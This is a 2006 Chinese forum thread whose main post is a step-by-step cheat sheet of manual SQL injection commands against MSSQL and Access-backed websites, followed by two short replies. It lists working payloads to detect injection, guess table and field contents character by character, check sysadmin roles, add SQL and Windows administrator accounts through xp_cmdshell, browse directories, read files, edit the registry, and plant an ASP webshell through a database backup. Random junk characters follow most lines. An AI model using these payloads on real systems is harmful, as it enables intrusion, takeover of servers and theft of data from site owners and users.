社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4654阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 nY'0*:'u  
  2.初步判断是否是mssql ;and user>0 GX&BUP\  
=_\5h=`Yx  
  3.注入参数是字符'and [查询条件] and ''=' n %"q>  
>:Na^+c  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' Y]P'; C_eP  
wP/&k`HQ#i  
  5.判断数据库系统 @R_a'v-  
6,G1:BV{K  
  ;and (select count(*) from sysobjects)>0 mssql BdG~y1%:  
(#BkL:dg  
  ;and (select count(*) from msysobjects)>0 access ePq(:ih  
;RflzY|D  
:`2<SF^0O  
A)kx,,[  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 ]U!vZY@\  
4{(uw  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 X,IjM&o"Y  
sHyhR:  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ?FVX &{{V  
w>p0ldi  
  9.(1)猜字段的ascii值(access) C$vKRg\o  
A`T VV  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 )y\^5>p[  
lTv I;zy  
  (2)猜字段的ascii值(mssql) ,3.E]_3 xX  
]{{A/ j\  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 N#Y%+1  
81eDN6 M\  
  10.测试权限结构(mssql) 3xxQL,FV  
pzbR.L}'D  
J_C<Erx[O  
(8TB*BhQ_  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- >N@tInE  
{UX?z?0T  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- gV$j ]  
mv O!Y  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- <{bQl L  
)XmV3.rI  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- }&I\a  
]>E*s3h  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- nT..+ J)  
9W:oo:dK F  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- P9p:x6  
SUINV_>7  
  ;and 1=(select IS_MEMBER('db_owner'));-- _G|hKk^,  
6v (}<2~  
9 [v=`  
15+>W4v  
  11.添加mssql和系统的帐户 |!E>I  
dqnH7okZ  
  ;exec master.dbo.sp_addlogin username;-- "~(qp_AI  
  ;exec master.dbo.sp_password null,username,password;-- z8_m<uewz  
ns[v.YDL  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 1 0lvhzU  
L6./b;  
  ;exec master.dbo.xp_cmdshell 'net user username password |iKk'Rta4  
=.(yOUI  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- >A5R  
%@#+Xpa+  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- `E+)e?z  
f uQbDb&  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- $h`(toTyF  
k"\%x =#  
T$T:~8tK3  
k!3X4;F!_  
  12.(1)遍历目录 |t+M/C0y/  
g6{.C7m  
  ;create table dirs(paths varchar(100), id int) 9]fhH  
M(|Qvh{Q6  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' C,~wmS )@  
1j0OV9-|  
  ;and (select top 1 paths from dirs)>0 \ZX5dFu0  
h[ #Lg3  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) i]J*lM7'  
g}"`@H(9r3  
d9>*a$x;/  
k"D6Vyy`  
  (2)遍历目录 X TEC0s"F  
0D/u`-  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (|)`~z  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 c[\ :^w^I6  
lffp\v{w  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Ko_Sx.  
x;)bp7  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 KY34Sc  
0T7(c-  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ! Ob  
tvXoF;Yq  
I$/*Pt];  
J ^gtSn^  
  13.mssql中的存储过程 O4RNt,?l  
~\kJir  
  xp_regenumvalues 注册表根键, 子键 s7.2EkGl=  
kP~'C'5Ys  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 5v <>%=  
A<P3X/i  
  xp_regread 根键,子键,键值名 A}WRpsA9  
_a1 =?  
  ;exec xp_regread $2B _a  
_J(n~"eR  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 xxkU u6x#  
FdEzt  
  xp_regwrite 根键,子键, 值名, 值类型, 值 Atsi}zTR\  
jXA!9_L7  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 6hDK;J J&  
b ?9c\-}  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 i{[=N9U5o  
y_EkW f  
  xp_regdeletevalue 根键,子键,值名 uw!  
IN=pki |.  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 VH[r@Pn  
BCsz8U!  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 MJNY#v3  
d]1%/$v^  
2{;&c  
 R}Pw#*B  
  14.mssql的backup创建webshell [M>Md-pj  
QK _1!t3  
  use model 88}+.-3t$  
 7'u<)V  
  create table cmd(str image); rMXIw  
'f&o%5]  
  insert into cmd(str) values (''); Z|;<:RKWY  
?CO\jW_ *n  
  backup database model to disk='c:\l.asp'; S Y\ UuZ  
S<}2y9F  
].F7. zi  
@_"B0$,-i  
  15.mssql内置函数 1=BDqSZ@9  
Td#D\d\R  
  ;and (select @@version)>0 获得Windows的版本号 V.zKjoky@  
@sQ^6FK0G  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa +Qy*s1fit  
~3byAL  
  ;and (select user_name())>0 爆当前系统的连接用户 0#(K}9T)  
uC\FW6K=m  
  ;and (select db_name())>0 得到当前连接的数据库 dmh6o *  
u8ofgcFYE  
^0"^Xk*  
T}} 0hs;  
  16.简洁的webshell N]n]7(e+0C  
i9Fg  
  use model Q'-V\G)11  
9~+A<X]Hd  
  create table cmd(str image); 7sP;+G  
O7@CAr  
  insert into cmd(str) values (''); )aoB -Lu  
\zj _6Os  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五